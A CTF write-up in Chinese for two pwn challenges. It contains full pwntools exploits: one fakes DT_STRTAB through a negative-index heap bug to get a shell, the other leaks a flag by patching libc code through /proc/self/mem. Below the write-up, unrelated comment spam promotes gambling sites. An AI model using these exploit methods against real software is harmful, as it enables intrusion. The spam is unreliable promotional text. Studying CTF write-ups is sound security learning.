note
漏洞分析
未开启PIE,Partial RELRO,菜单堆功能完整

可以看出所有功能的idx是有符号整型,没有判断负值
也就是说对于new功能而言,每一次新建会在0x4040A0 + idx * 0x10处赋值分配的chunk_size,以及在0x4040A0 + idx * 0x10 + 0x8处分配chunk_ptr
那么很常见的思路就是用分配的chunk地址覆盖掉bss段上的stdin,stdout,stderr系列指针,将其指向伪造的IO_FILE结构体。但是很不幸,由于这些指针所在地址结尾为0,所以只能被chunk_size覆盖

既然如此,考虑到Partial RELRO未开启,可以联想到DT_STRTAB的伪造,而其所在的LOAD段同样和0x4040A0偏移固定并且可读写。
那么最终思路就是伪造整个DT_STRTAB,将puts字符串改为system,提前分配一个内容为/bin/sh的chunk,调用show功能后即可getshell

EXP
from pwn import*
r=remote("47.103.219.45",31449)
#r=process('./pwn')
context.log_level='debug'
def new(idx,size,content):
r.sendline(str(0x114))
r.sendline(str(idx))
r.sendline(str(size))
r.send(content)
def delete(idx):
r.sendline(str(0x1919))
r.sendline(str(idx))
def show(idx):
r.sendline(str(0x514))
r.sendline(str(idx))
def edit(idx,content):
r.sendline(str(0x810))
r.sendline(str(idx))
r.send(content)
fake_dt_strtab=""
fake_dt_strtab+="\x00"
fake_dt_strtab+="stdin\x00"
fake_dt_strtab+="system\x00"
fake_dt_strtab+="__stack_chk_fail\x00"
fake_dt_strtab+="free\x00"
fake_dt_strtab+="setbuf\x00"
fake_dt_strtab+="read\x00"
fake_dt_strtab+="stdout\x00"
fake_dt_strtab+="atoi\x00"
fake_dt_strtab+="malloc\x00"
fake_dt_strtab+="__libc_start_main\x00"
fake_dt_strtab+="stderr\x00"
fake_dt_strtab+="libc.so.6\x00"
fake_dt_strtab+="GLIBC_2.4\x00"
fake_dt_strtab+="GLIBC_2.34\x00"
fake_dt_strtab+="GLIBC_2.2.5\x00"
fake_dt_strtab+="__gmon_start__\x00"
fake_dt_strtab+="./libc.so.6\x00"
fake_dt_strtab+="\n"
new(0,0x100,"/bin/sh\n")
new(-0x59F,0x100,fake_dt_strtab)
#gdb.attach(r)
show(0)
r.interactive()
write_flag_where
漏洞分析
很微妙的一题。flag固定为d3ctf{[0-9a-f]},长度已知,直接提供了libc地址
功能为将flag任意偏移处的某个字符通过/proc/self/mem写进任意libc代码段中,不受段权限影响。

一般来看,常规思路就是将flag写进libc中的某个字符串中,通过某种方式(例如__libc_fatal)或者其他流程将其输出出来。但是很显然,libc中的字符串并不处在libc代码段上,但是输出流程确实可以进一步探索的。
程序可以正常exit退出,而exit流程中有大量的函数调用以及状态检测。而对于调试过新版本FSOP的流程的人来说,对于_IO_vtable_check函数抛出的”Fatal error: glibc detected an invalid stdio handle”错误一定有深刻的印象。新版本的glibc添加了对于IO_vtable函数的检测,这可以成为利用的目标。
但是常规exit流程肯定无法触发这个报错,因此需要对_IO_flush_all函数做一些处理。

如上图所示,对于FSOP而言,需要_IO_write_base>_IO_write_ptr才能触发vtable函数的执行,因此可以将_IO_flush_all+436处的+0x20偏移修改掉,让其指向一个其他能满足条件的地址。因为只可以将其修改为flag中的某个可见字符,因此需要一定的爆破尝试。

与此同时,由于默认的跳转函数满足vtable检测,因此_IO_flush_all+193处的偏移0xd8也应该被修改,让其指向一个非法的地址。不过好在由于vtable检测很严格,几乎任何字符的修改都可以让其落入_IO_vtable_check中。
幸运的是,远程flag的第一个字符为’e’,将上述二者全都修改为0x65全都满足条件。

最终__libc_fatal函数被调用来打印错误信息,而字符串地址是通过RIP偏移传递的,因此可以修改_IO_vtable_check+125处的0x13951c末尾的0x1c,最终看到一个有偏移的报错字符串,根据输出字符串和原字符串的偏移来确定0x1c被修改为了什么字符,计算得出flag中字符串的值。

EXP
from pwn import*
std_err_msg="Fatal error: glibc detected an invalid stdio handle\n\x00\x00\x00The futex facility returned an unexpected error code.\n"
flag="d3ctf{"
for i in range(41):
#r=remote("127.0.0.1",9999)
r=remote("47.103.219.45",32653)
#r=process('./vuln')
context.log_level='debug'
libc_base=int(r.recvuntil("-",drop=True),16)
success("libc_base: "+hex(libc_base))
r.recvline()
r.recvline()
r.sendline(str(libc_base+0x6b717)+" "+str(6))
r.sendline(str(libc_base+0x6b624)+" "+str(6))
r.sendline(str(libc_base+0x66a20)+" "+str(6+i))
if (i==-1):
#gdb.attach(r,"b *"+str(libc_base)+"+0x6b710")
#gdb.attach(r,"b _IO_vtable_check")
pause()
r.sendline("0 0")
rcv_err_msg=r.recvline()
offset=std_err_msg.find(rcv_err_msg)+0x1c
if (offset<=0x39 and offset>=0x30): offset=offset-1
flag+=chr(offset+1)
r.close()
print flag
Hey guys, just wanted to shout out helppagebahigo! Found their FAQ super helpful. Seriously saved me a headache. Check it out if you’re on Bahigo and need a hand. helppagebahigo
Just getting started with online betting? Startbet’s not a bad shout. Everything’s laid out nicely, so it’s easy to figure out even if you’re a complete noob. Check it: startbet
Rummy lovers unite! Rummy777app claims to be where it’s at. Downloading now… Wish me luck! Download the app over at rummy777app
Anyone here into exchange betting? 999exchangebet just popped up on my radar. Thinking about giving it a try. Here’s the link:999exchangebet
Big Mumbai Login Bet caught my eye. Worth a look if you’re into the scene. Check it out here: bigmumbailoginbet and tell me what you think!
Win777slots? Dude, the name alone is worth a try. Hoping for some lucky spins over there! I’m ready at win777slots.
Digging Apaldocasino! Great selection of games and a really fun vibe. The bonuses are a nice touch too. Perfect for a chill night in. Join the casino fun at apaldoocasino.
Byu777’s got a nice mix of games. I popped in last night and had a blast. Nothing crazy, but it was a chill way to spend an evening. Give it a whirl? byu777.
Just used dito777login and it was super smooth. No hassles getting in. Definitely a plus in my book. You can find it here: dito777login.